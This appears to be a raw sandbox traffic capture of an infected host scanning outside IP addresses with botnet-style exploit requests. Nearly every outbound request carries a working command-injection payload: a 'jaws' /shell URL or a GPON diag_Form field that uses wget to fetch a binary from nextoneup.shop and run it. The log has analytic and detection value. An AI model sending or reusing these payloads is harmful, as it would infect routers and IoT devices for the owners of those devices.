Apr 14, 2024 04:01:18.152806044 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:17 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1853	192.168.2.13	54970	94.252.127.204	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:17.864347935 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:18.198496103 CEST	411	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 03:59:29 GMT Server: Webs Cache-Control: no-cache Content-Length: 166 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 X-FRAME-OPTIONS: SAMEORIGIN Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1854	192.168.2.13	45314	142.4.5.93	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:17.869432926 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:18.072350979 CEST	528	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:17 GMT Server: Apache Content-Length: 315 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1855	192.168.2.13	47586	156.250.20.101	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:17.994946957 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1856	192.168.2.13	36776	190.176.244.245	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.096502066 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:18.450915098 CEST	484	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Date: Sun, 14 Apr 2024 02:01:16 GMT Connection: keep-alive Keep-Alive: timeout=60, max=1000 Content-Type: text/html X-Frame-Options: sameorigin X-XSS-Protection: 1 X-Content-Type-Options: nosniff Content-Security-Policy: default-src 'self'; frame-ancestors 'self' Content-length: 130 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 30 20 2d 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 32 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: <HTML><HEAD><TITLE>Document Error: Bad Request</TITLE></HEAD><BODY><H2>Access Error: 400 -- Bad Request</H2></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1857	192.168.2.13	48260	94.135.6.174	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.196526051 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1858	192.168.2.13	51644	109.237.205.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.196557999 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1859	192.168.2.13	37114	210.127.149.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.196580887 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1860	192.168.2.13	55986	117.64.159.56	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.196616888 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1861	192.168.2.13	59482	210.73.64.166	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.196655035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1862	192.168.2.13	60584	109.89.229.71	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.196693897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1863	192.168.2.13	37068	79.201.44.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.196711063 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1864	192.168.2.13	52432	107.181.160.99	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.265450954 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:18.432368994 CEST	469	IN	HTTP/1.1 404 Not Found Content-Type: text/html Strict-Transport-Security: max-age=31536000; includeSubdomains X-XSS-Protection: 1; mode=block Content-Security-Policy: default-src 'self';connect-src 'self' ws: wss:;frame-src 'self' data:;img-src 'self' data:;object-src 'self';font-src 'self' data:;script-src 'self' 'unsafe-inline' 'unsafe-eval';style-src 'self' 'unsafe-inline';worker-src 'self' blob:; Content-Length: 341 Date: Sun, 14 Apr 2024 02:01:33 GMT
Apr 14, 2024 04:01:18.432557106 CEST	341	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

Session ID	Source IP	Source Port	Destination IP	Destination Port
1865	192.168.2.13	54590	2.23.225.45	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.290339947 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:18.709811926 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:01:18 GMT Date: Sun, 14 Apr 2024 02:01:18 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 37 37 65 39 34 35 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 38 26 23 34 36 3b 37 65 37 35 31 31 63 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 35 37 37 65 39 34 35 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 37 38 26 23 34 36 3b 37 65 37 35 31 31 63 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.577e9452.1713060078.7e7511c<P>https://errors.edgesuite.net/9.577e9452.1713060078.7e7511c</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1866	192.168.2.13	49134	198.137.225.222	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.333677053 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:18.524487972 CEST	427	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 14 Apr 2024 02:01:18 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1867	192.168.2.13	33230	52.0.226.142	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.375161886 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:18.606478930 CEST	439	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:01:18 GMT Server: Apache/2.4.54 () OpenSSL/1.0.2k-fips Content-Length: 196 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1868	192.168.2.13	48304	125.133.17.134	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.557394981 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:18.940200090 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:19.848232031 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:21.640197039 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:25.352197886 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:32.520289898 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:46.856251001 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1869	192.168.2.13	36274	172.104.229.184	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.576133966 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:18.894046068 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:01:18 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1870	192.168.2.13	46282	95.164.23.125	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.593400955 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1871	192.168.2.13	52606	191.61.160.219	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.601883888 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:19.624320030 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:21.768207073 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1872	192.168.2.13	35812	54.255.12.156	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:18.606014967 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
